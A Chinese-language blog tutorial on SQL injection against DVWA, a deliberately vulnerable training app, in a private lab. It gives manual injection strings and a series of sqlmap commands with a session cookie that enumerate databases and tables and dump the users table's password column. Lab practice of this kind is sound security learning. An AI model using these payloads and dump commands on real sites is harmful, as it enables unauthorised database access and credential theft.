1、渗透之利用sqlmap对dvwa进行sql注入

最新推荐文章于 2025-06-15 15:14:20 发布

原创最新推荐文章于 2025-06-15 15:14:20 发布 · 7.3k 阅读

37 ·

CC 4.0 BY-SA版权

文章标签：

#渗透学习

渗透学习专栏收录该内容

1 篇文章

订阅专栏

本文详细介绍了在dvwa平台上进行SQL注入攻击的过程，包括寻找注入点、使用sqlmap工具进行测试、获取数据库信息、展示所有表及列的具体值等关键步骤。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

测试环境：dvwa+Kail

1、寻找注入点：http://192.168.43.75/dvwa/vulnerabilities/sqli/

1.2、注入点初步测试: 1' union select user, password from users#

1.3、继续测试：1'or'1'='1

2、使用Kail工具测试：

sqlmap -u http://192.168.43.75/dvwa/vulnerabilities/sqli/?id=1

可以看出需要登录，加上cookie:

sqlmap -u "http://192.168.43.75:80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=vp85jg4o3lb509u7ajuecefpd6" --batch

成功！可看到服务器配置信息，继续拿数据库信息：

sqlmap -u "http://192.168.43.75:80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=vp85jg4o3lb509u7ajuecefpd6" --dbs

查看某数据库并展示所有表：

sqlmap -u "http://192.168.43.75:80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=vp85jg4o3lb509u7ajuecefpd6" --batch -D dvwa --tables

查看某数据库某表的所有列：

sqlmap -u "http://192.168.43.75:80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=vp85jg4o3lb509u7ajuecefpd6" --batch -D dvwa -T users --columns

查询数据：

sqlmap -u "http://192.168.43.75:80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=vp85jg4o3lb509u7ajuecefpd6" --batch -D dvwa -T users -C password,users --dump

查不到需要信息，修改sqlmap参数：

sqlmap -u "http://192.168.43.75:80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=vp85jg4o3lb509u7ajuecefpd6" --batch --dump -C "user_id,user,password" -T "users" -D "dvwa"
# --dump -C " " -T " " -D " "参数得到---dvwa数据库---下面的---表users---下面的列(Columns)的具体值，即某(些)属性的具体值